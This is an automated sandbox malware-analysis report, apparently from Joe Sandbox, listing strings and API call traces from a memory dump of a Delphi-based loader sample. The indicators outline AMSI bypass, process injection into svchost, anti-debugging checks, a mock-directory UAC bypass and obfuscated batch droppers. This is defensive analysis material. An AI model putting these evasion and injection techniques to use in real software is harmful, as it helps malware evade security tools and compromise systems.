C:\Windows\System32\, xrefs: 02B9F8B7, 02BA70BB, 02BA7E03
C:\Users\Public\aken.pif, xrefs: 02BA4B51
advapi32, xrefs: 02BA898F
.url, xrefs: 02BA54DB
FX.c, xrefs: 02BA46FB
wintrust, xrefs: 02B9F0C7, 02B9F0FA, 02B9F12D
NtGetWriteWatch, xrefs: 02BAA5A9
ScanString, xrefs: 02B9EE0F, 02B9F03A, 02B9F14F, 02B9F2E0, 02B9F471, 02B9F6FA, 02B9F83B, 02B9FDC1, 02BA09D9, 02BA0B75, 02BA0FB1, 02BA11CC, 02BA1248, 02BA1565, 02BA188B, 02BA1B54, 02BA1F91, 02BA23C2, 02BA25D2, 02BA2688, 02BA29B7, 02BA2AD9, 02BA2D9A, 02BA31E5, 02BA3CDD, 02BA4153, 02BA4348, 02BA4D00, 02BA4E9A, 02BA51DF, 02BA55A3, 02BA5C42, 02BA6428, 02BA659F, 02BA6657, 02BA6CC4, 02BA715E, 02BA75C5, 02BA7BE8, 02BA868F, 02BA8A81, 02BA8E6A, 02BA9226, 02BA9524, 02BA98DF, 02BA9CC6, 02BA9EBD, 02BAA467
sys.thgiseurt, xrefs: 02BA3ECC
NtWriteVirtualMemory, xrefs: 02BAA7DA
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02B9FE37
CreateProcessA, xrefs: 02BAA128
OpenSession, xrefs: 02B9ECE3, 02B9EED7, 02B9F7BF, 02B9F8E0, 02B9F9ED, 02B9FB05, 02B9FED9, 02BA0077, 02BA021D, 02BA033D, 02BA04D2, 02BA05CA, 02BA07B7, 02BA095D, 02BA0C8B, 02BA0EB9, 02BA102D, 02BA1150, 02BA12CE, 02BA1674, 02BA16F7, 02BA180F, 02BA1927, 02BA1A33, 02BA1C51, 02BA1D6E, 02BA200D, 02BA2089, 02BA229E, 02BA243E, 02BA2780, 02BA293B, 02BA2B55, 02BA2C6F, 02BA2F9F, 02BA343E, 02BA35B7, 02BA373A, 02BA3B77, 02BA3DD5, 02BA3F0F, 02BA424B, 02BA4493, 02BA4675, 02BA4749, 02BA48AF, 02BA4A44, 02BA4D7C, 02BA4F16, 02BA50B6, 02BA525B, 02BA53CF, 02BA561F, 02BA56D3, 02BA5990, 02BA5A88, 02BA5F3F, 02BA6219, 02BA638D, 02BA6523, 02BA66D3, 02BA6DBC, 02BA6FC1, 02BA71DA, 02BA727D, 02BA7410, 02BA77D8, 02BA7A74, 02BA7D71, 02BA7ECA, 02BA8070, 02BA81FD, 02BA8391, 02BA8510, 02BA8613, 02BA8787, 02BA8A05, 02BA8BF5, 02BA8EE6, 02BA906C, 02BA92A2, 02BA94A8, 02BA966C, 02BA995B, 02BA9A0A, 02BA9C4A, 02BA9E41, 02BA9F39, 02BAA3EB, 02BAA9B3
VirtualAllocEx, xrefs: 02BAA237
ScanBuffer, xrefs: 02B9EE73, 02B9F1CB, 02B9F3F5, 02B9F95C, 02B9FA69, 02B9FB81, 02B9FF55, 02BA00F3, 02BA0299, 02BA03B9, 02BA054E, 02BA0646, 02BA08AF, 02BA0A55, 02BA0BF1, 02BA0D07, 02BA0D95, 02BA10A9, 02BA134A, 02BA145B, 02BA15F8, 02BA19A3, 02BA1AAF, 02BA1CCD, 02BA1DEA, 02BA2105, 02BA21A6, 02BA231A, 02BA24DA, 02BA27FC, 02BA2BF3, 02BA2E92, 02BA2F23, 02BA32DD, 02BA34BF, 02BA3633, 02BA37B6, 02BA3832, 02BA39E9, 02BA3BF3, 02BA3E51, 02BA4083, 02BA42C7, 02BA450F, 02BA47C5, 02BA492B, 02BA4AC0, 02BA4DF8, 02BA5132, 02BA544B, 02BA57CB, 02BA5B04, 02BA5DB6, 02BA5FBB, 02BA6121, 02BA6295, 02BA6311, 02BA6EB4, 02BA6F45, 02BA7375, 02BA7508, 02BA7664, 02BA775C, 02BA7C79, 02BA7F46, 02BA80EC, 02BA8279, 02BA840D, 02BA858C, 02BA8803, 02BA88FB, 02BA8D17, 02BA8FF0, 02BA9164, 02BA939A, 02BA942C, 02BA9764, 02BA9B02, 02BAA031, 02BAA937
NtSetSecurityObject, xrefs: 02BA89C6
NtQueryInformationThread, xrefs: 02BAA60F
LdrLoadDll, xrefs: 02BAA774
NtOpenObjectAuditAlarm, xrefs: 02BA8976
Kernel32, xrefs: 02BAA12D, 02BAA13C, 02BAA178
EtwEventWrite, xrefs: 02BAA873
DlpNotifyPreDragDrop, xrefs: 02BA9B78
EtwEventWriteEx, xrefs: 02BAA840
DlpGetArchiveFileTraceInfo, xrefs: 02BA9BDE
DllGetActivationFactory, xrefs: 02B9F51A
SLLoadApplicationPolicies, xrefs: 02BA9633
NtAlertResumeThread, xrefs: 02BA9D3C
FindCertsByIssuer, xrefs: 02B9F116
tquery, xrefs: 02BA97F1
NtOpenSection, xrefs: 02BAA642
EnumProcessModules, xrefs: 02BAA119
CreateProcessAsUserA, xrefs: 02BAA146
RtlAllocateHeap, xrefs: 02BA9D6F, 02BA9DD5
HotKey=, xrefs: 02BA6631
SLGatherMigrationBlob, xrefs: 02BAA543
NtOpenProcess, xrefs: 02BA89DA
NtWaitForSingleObject, xrefs: 02BA9DA2
GZmMS1j, xrefs: 02B9ECBC
C:\\Users\\Public\\Libraries\\, xrefs: 02BA4B66, 02BA4BBC, 02BA58B7
WriteVirtualMemory, xrefs: 02BAA2D0
GET, xrefs: 02BA1902
NtQuerySecurityObject, xrefs: 02BAA70E
WinHttp.WinHttpRequest.5.1, xrefs: 02BA17E9
LdrGetProcedureAddress, xrefs: 02BAA7A7
TrustOpenStores, xrefs: 02B9F0B0
URL=file:", xrefs: 02BA64A7
SLGetSLIDList, xrefs: 02BA95CD
mssip32, xrefs: 02B9F258, 02B9F28B, 02B9F2BE, 02BA98BD
spp, xrefs: 02BA9824, 02BA9857, 02BAA4F4
C:\Users\Public\alpha.pif, xrefs: 02BA4B36
NtDeviceIoControlFile, xrefs: 02BAA0B0
MZER, xrefs: 02BA7FDC, 02BA815C
BCryptVerifySignature, xrefs: 02B9F356, 02BA99D1
NtMapViewOfSection, xrefs: 02BAA6A8
SxTracerGetThreadContextDebug, xrefs: 02BA980D, 02BAA4DD
SetUnhandledExceptionFilter, xrefs: 02BAA336
RetailTracerEnable, xrefs: 02BA97DA
VirtualProtect, xrefs: 02BAA26A
ntdll, xrefs: 02BA897B, 02BA89CB, 02BA89DF, 02BA9D53, 02BA9D86, 02BA9DB9, 02BA9DEC, 02BA9E1F, 02BAA5C0, 02BAA5F3, 02BAA626, 02BAA659, 02BAA68C, 02BAA6BF, 02BAA6F2, 02BAA725, 02BAA758, 02BAA78B, 02BAA7BE, 02BAA7F1, 02BAA824, 02BAA857, 02BAA88A
EnumServicesStatusExW, xrefs: 02BAA10A
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 02BA484E
ieproxy, xrefs: 02B9EFC1, 02B9EFE8, 02B9F018
NtQueryDirectoryFile, xrefs: 02BAA0BF
DlpCheckIsCloudSyncApp, xrefs: 02BA9BAB
EnumServicesStatusW, xrefs: 02BAA0EC
C:\\Windows \\SysWOW64\\, xrefs: 02BA3ACE, 02BA3EE2
NtCreateSection, xrefs: 02BAA675
OpenProcess, xrefs: 02BAA29D
SLGetGenuineInformation, xrefs: 02BA959A
DllGetClassObject, xrefs: 02B9EFB0, 02B9F4E7, 02BA9840, 02BAA510
RtlCreateQueryDebugBuffer, xrefs: 02BA9E08
GetProxyDllInfo, xrefs: 02B9EFD7
SLGetEncryptedPIDEx, xrefs: 02BAA576
MiniDumpReadDumpStream, xrefs: 02BA89B2
FlushInstructionCache, xrefs: 02BAA303
NEO.c, xrefs: 02BA4445
http, xrefs: 02BA15D5
dbgcore, xrefs: 02BA89A3, 02BA89B7
kernel32, xrefs: 02BAA21B, 02BAA24E, 02BAA281, 02BAA2B4, 02BAA2E7, 02BAA31A, 02BAA34D
I_QueryTagInformation, xrefs: 02BA898A
DllRegisterServer, xrefs: 02B9F001, 02B9F54D
EnumServicesStatusExA, xrefs: 02BAA0FB
Advapi, xrefs: 02BAA0E2, 02BAA0F1, 02BAA100, 02BAA10F, 02BAA14B, 02BAA15A, 02BAA169
WintrustAddActionID, xrefs: 02B9F0E3
NtOpenFile, xrefs: 02BAA80D
psapi, xrefs: 02BAA11E
CryptSIPVerifyIndirectData, xrefs: 02B9F274, 02BA98A6
lld.SLITUTEN, xrefs: 02BA3AB8
CreateProcessW, xrefs: 02BAA137
IconIndex=, xrefs: 02BA64FD
NtQuerySystemInformation, xrefs: 02BAA0A1
[InternetShortcut], xrefs: 02BA6498
Ntdll, xrefs: 02BAA0A6, 02BAA0B5, 02BAA0C4, 02BAA0D3
NtReadVirtualMemory, xrefs: 02BAA6DB
CryptSIPGetInfo, xrefs: 02B9F241
psapi, xrefs: 02BA988A
BCryptQueryProviderRegistration, xrefs: 02B9F389
NtAccessCheck, xrefs: 02BAA741
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 02BA4598
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02BA36A8
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02BA3361
bcrypt, xrefs: 02B9F36D, 02B9F3A0, 02B9F3D3, 02BA99E8
sppwmi, xrefs: 02BAA527
EnumServicesStatusA, xrefs: 02BAA0DD
NtQueryVirtualMemory, xrefs: 02BAA5DC
Initialize, xrefs: 02B9EDAB, 02B9FCC9, 02B9FE5D, 02B9FFFB, 02BA01A1, 02BA0456, 02BA0AF9, 02BA0F35, 02BA13DF, 02BA14E9, 02BA1BD0, 02BA1F02, 02BA2222, 02BA2556, 02BA2704, 02BA2A5D, 02BA2E16, 02BA4FBE, 02BA5353, 02BA574F, 02BA5914, 02BA5B80, 02BA5CBE, 02BA5EC3, 02BA6E38, 02BA7AF0, 02BA8AFD, 02BA96E8, 02BA9A86, 02BA9FB5, 02BAA36F, 02BAA8BB
CryptSIPGetSignedDataMsg, xrefs: 02B9F2A7

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: File$Library$AddressFreeLoadModuleProc$AttributesCloseCreateHandleMove$CheckDebuggerDeleteDirectoryInetInformationInitNameOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZER$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 3130226682-1898677207
Opcode ID: 1aca352ba7916114f94992f6e217fc795b19021cdf83a67f387cccd150f077e1
Instruction ID: 098ad59d5bc330fa4f5b6df91f75e883efe6ca7e42804aa58f6b28ca9d16d745
Opcode Fuzzy Hash: 1aca352ba7916114f94992f6e217fc795b19021cdf83a67f387cccd150f077e1
Instruction Fuzzy Hash: F4241875A5015A8FDB25FB64CC90ADE73B6BF89304F1044E6E10DEB254EA31AE86CF50

Function 02B85A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B80000,02BAD790), ref: 02B85A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B80000,02BAD790), ref: 02B85AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B80000,02BAD790), ref: 02B85AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02B85AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02B85B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02B85B37
RegQueryValueExA.ADVAPI32(?,02B85CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02B85B7D,?,80000001), ref: 02B85B55
RegCloseKey.ADVAPI32(?,02B85B84,00000000,?,?,00000000,02B85B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02B85B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02B85B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02B85BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02B85BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02B85BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B85C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B85C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B85C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B85C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02B85C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02B85C97

Strings

Software\Borland\Delphi\Locales, xrefs: 02B85AE4
Software\Borland\Locales, xrefs: 02B85AA8, 02B85AC6

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: c5377b95b68045f544ac043e00e60ce5c447c9c4ad9617e02eee636367ff3a98
Instruction ID: 06649c1b97eb25c812fd971c42be33ce8a154b57e3a7e2509423c210bfd99aae
Opcode Fuzzy Hash: c5377b95b68045f544ac043e00e60ce5c447c9c4ad9617e02eee636367ff3a98
Instruction Fuzzy Hash: A7517271A5020C7AFB31EAA88C46FEFB7AD9B04744F8101E1A64CE6181DB749A44CF61

Function 02B987A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02BE13A4,02B9A3C7,ScanString,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,Initialize,02BE13A4,02B9A77C,UacScan), ref: 02B987B4
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B987CE
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02BE13A4,02B9A3C7,ScanString,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,Initialize), ref: 02B9880A

Part of subcall function 02B97D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B97D74

Strings

bcrypt, xrefs: 02B987B3
BCryptVerifySignature, xrefs: 02B987C7

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 0bea23942aea87216841285a5e6e1b1da5fbaf5cdb60f3508c492c187a9c2d49
Instruction ID: 84cd771f6ba0f28fc70c2bcfcc91237e7cb19730c5a9ea82ae58ce33788c9fff
Opcode Fuzzy Hash: 0bea23942aea87216841285a5e6e1b1da5fbaf5cdb60f3508c492c187a9c2d49
Instruction Fuzzy Hash: F6F04471A91254FEEF10AF6CA845BB6739CD746395F2089B9F10D8B984C7705C50CB60

Function 02B9EBF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02B9EC00
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02B9EC12
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02B9EC29

Strings

KernelBase, xrefs: 02B9EBFB
CheckRemoteDebuggerPresent, xrefs: 02B9EC0C

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 416b73574a0ec690f650ed304071fd1df158ae3a425129fab880b352320edf44
Instruction ID: f8bd5b56870205a95a0b051ac978182eeba31eba343d15831c25445f4e4e8da2
Opcode Fuzzy Hash: 416b73574a0ec690f650ed304071fd1df158ae3a425129fab880b352320edf44
Instruction Fuzzy Hash: 7AF0A77090828CBBDF25E7A888897DCFBB99B05328F6403E5F464611D1E7754644C651

Function 02B9DBB0 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B84ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02B84EDA

RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B9DC80), ref: 02B9DBEB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02B9DC80), ref: 02B9DC1B
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02B9DC30
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02B9DC5C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02B9DC65

Part of subcall function 02B84C0C: SysFreeString.OLEAUT32(02B9E950), ref: 02B84C1A

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: File$String$AllocCloseFreeInformationOpenQueryRead
String ID:
API String ID: 2659941336-0
Opcode ID: edf0f4e4a83c0194943acf65ede55866b49e02e84f9d3953b3aceaba14c0ba42
Instruction ID: 05f6ddadbb77b1b73633a9bd3330c3c4505ba153439df8648ee6345c9da9b01f
Opcode Fuzzy Hash: edf0f4e4a83c0194943acf65ede55866b49e02e84f9d3953b3aceaba14c0ba42
Instruction Fuzzy Hash: 7F21BE71A50309BEEB11EAA4CC46FDEB7BDAB49700F5004A1F704E7181DAB4AA058BA5

Function 02B9E2F8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02B9E436

Strings

ScanBuffer, xrefs: 02B9E37F
Initialize, xrefs: 02B9E326
OpenSession, xrefs: 02B9E3D8

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 44a0201bd25748bd7b18598b3403c7afa5ddb88cc03fb0b882a18caf2c4db813
Instruction ID: 0f421fb79fafcce328faf3b59a115f4d0a136c8e67dfcb6ac61224242e3baa54
Opcode Fuzzy Hash: 44a0201bd25748bd7b18598b3403c7afa5ddb88cc03fb0b882a18caf2c4db813
Instruction Fuzzy Hash: 17411A35A50109AFEF10FBA4C880A9EB3FAEF8D710F2148B6E145A7250DA75ED05CF61

Function 02B9DACC Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B84ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02B84EDA

RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B9DB9E), ref: 02B9DB0B
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B9DB45
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B9DB72
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B9DB7B

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
